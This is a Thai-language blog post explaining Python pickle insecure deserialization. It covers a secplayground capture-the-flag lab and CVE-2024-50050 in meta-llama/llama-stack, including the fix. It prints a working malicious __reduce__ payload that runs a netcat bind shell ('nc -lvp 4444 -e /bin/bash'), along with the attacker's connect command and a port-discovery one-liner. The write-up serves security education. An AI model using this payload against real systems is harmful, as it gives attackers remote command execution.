Python Insecure Deserialization (Pickle),secplayground lab,CVE-2024–50050
โอเค มาเริ่มกัน
ก่อนอื่น Python Deserialization คืออะไร
คือ process ในการแปลง string เป็น object ของ python
serialize = แปลง object เป็น string
deserialize = แปลง string เป็น object
โดยคำนี้จะครอบคลุมทั้งข้อมูลใน format json,xml,…
แต่วันนี้เราจะมาพูดถึงข้อมูลในอีก format นึง ที่ถูกใช้โดย lib ของ python ที่ชื่อว่า pickle
ซึ่งเมื่อใช้ lib นี้ในการรับส่งข้อมูล, วิธีการที่ lib นี้ใช้ในการ deserialize ข้อมูล อาจทำให้เกิด risk ได้
โอเค มาดู code กัน
โดย code นี้เป็นตัวอย่างในการใช้ pickle แปลง string => object, object => string
ใช้ gpt gencode นะ ต้องลองไปรันดู แต่โดย concept แล้วจะประมาณนี้
ประกาศรูปแบบ object
# 1. Define custom classes for complex data structures
@dataclass
class Address:
street: str
city: str
country: str
postal_code: str
ใน class Address นี้ เราจะเพิ่ม method reduce ไป เพื่อบอกให้ pickle รู้ว่า เมื่อทำการ serialize เราอยากจะให้ serialize ยังไง
@dataclass
class Address:
street: str
city: str
country: str
postal_code: str
_secret_code: str = "private" # This won't be serialized
def __reduce__(self):
# Option 1: Basic tuple of (class, constructor arguments)
state = (self.street, self.city, self.country, self.postal_code)
return (self.__class__, state)
โดยจาก code เป็นการบอกให้ pickle เรียก self class ด้วย state
แปลว่าเมื่อ serialize, ให้ทำการเรียก constructor ของ class Address
โดยไม่ต้องส่ง _secret_code เข้าไปใน constructor
โอเคมาลอง serialize กัน
# Create and serialize an address
addr = Address("123 Main St", "Springfield", "USA", "12345", "TOP_SECRET")
print("Original:", addr)
print("Original _secret_code:", addr._secret_code)
# Serialize to bytes
serialized = pickle.dumps(addr)
ตัวแปล serialized จะเป็น string ที่ประกอบด้วยข้อมูลของ addr แต่จะไม่มี TOP_SECRET ติดไปนั่นเอง
โอเค แล้ว code แบบนี้จะทำให้เกิด risk ได้ยังไง
ประเด็นคือบรรทัด return ใน reduce
def __reduce__(self):
# Option 1: Basic tuple of (class, constructor arguments)
state = (self.street, self.city, self.country, self.postal_code)
return (self.__class__, state)
ทำแบบนี้ได้
def __reduce__(self):
return (os.system, ('nc -lvp 4444 -e /bin/bash', ))
เพราะว่า pickle กำหนดว่า parameter แรก = ชื่อ function, parameter 2 = input function
แต่เราดันไม่ได้ใช้ syntax ตรงนี้เพื่อประกอบ object ใหม่
แต่เราเอามารัน os command แทน
ซึ่งทำให้เกิดช่องโหว่นั่นเอง
เอาละมาลองทำ lab secplayground กัน
lab นี้เป็น server ที่จะรับ base64 string ไป deserialize บน server
ดังนั้นเราก็ใช้ pickle สร้าง string ที่แทรกคำสั่งในการ bindshell เข้าไปตาม code ด้านบน
จากนั้นในเครื่อง attacker ก็ทำการรัน
nc <target> 4444
ก็จะทำให้เข้าไปรัน os command อื่นๆเพื่อหา flag ได้
ที่ต้อง shell เข้าไปเพราะว่า server ไม่ print output ของ command ที่เราแทรกไปใน pickle ออกมานั่นเอง
เอาละ มาดู CVE ที่เกี่ยวกับ pickle กันดีกว่า
CVE-2024–50050: Critical Vulnerability in meta-llama/llama-stack
ก่อนอื่น ข้อมูลนี้ได้มาจาก https://www.oligo.security/blog/cve-2024-50050-critical-vulnerability-in-meta-llama-llama-stack
โดยช่องโหว่นี้อยู่ใน meta-llama/llama-stack version 0.0.41 ซึ่ง llama-stack เป็น tool ที่ใช้สร้าง AI
โอเค คือ llama-stack เนี่ยใช้ lib pyzmq ในการรับส่งข้อมูลผ่านคิว
โดย lib pyzmq จะมี function ให้ใช้ เพื่อรับค่าจากคิวคือ
def recv_pyobj(self, flags: int = 0) -> Any:
msg = self.recv(flags)
return self._deserialize(msg, pickle.loads)
โดยจาก code ของ function นี้ จะเห็นได้ว่า เป็นการนำ pickle มาใช้ในการถอดข้อมูลจาก string มาเป็น object อีกที
ดังนั้น หาก attacker สามารถเข้าไปสื่อสารในช่องคิวได้
ก็สามารถส่ง payload ที่มี os command เช่น การทำ bindshell
def __reduce__(self):
return (os.system, ('nc -lvp 4444 -e /bin/bash', ))
จากนั้นเมื่อ llama-stack ดึงค่าจากคิวมาถอดอ่านก็จะโดนแฮกนั่นเอง
ดังนั้นขึ้นตอนการ exploit คือ
- scan port ที่จะส่งข้อมูล
# oligo command
lsof -iTCP -sTCP:LISTEN | grep -i python | awk '{print $9}'
2. ส่ง pickle payload เข้าไป
โดยหลังจาก oligo แจ้งช่องโหว่ไป ทาง meta ก็ได้เปลี่ยน format ในการสื่อสารเป็น json เพื่อแก้ช่องโหว่นี้ https://github.com/meta-llama/llama-stack/commit/7a8aa775e5a267cf8660d83140011a0b7f91e005
และทาง maintainer ของ pyzmq ก็ได้ทำการเพิ่ม comment เตือนว่าอย่านำ untrusted data มาเข้า method deserialize นี้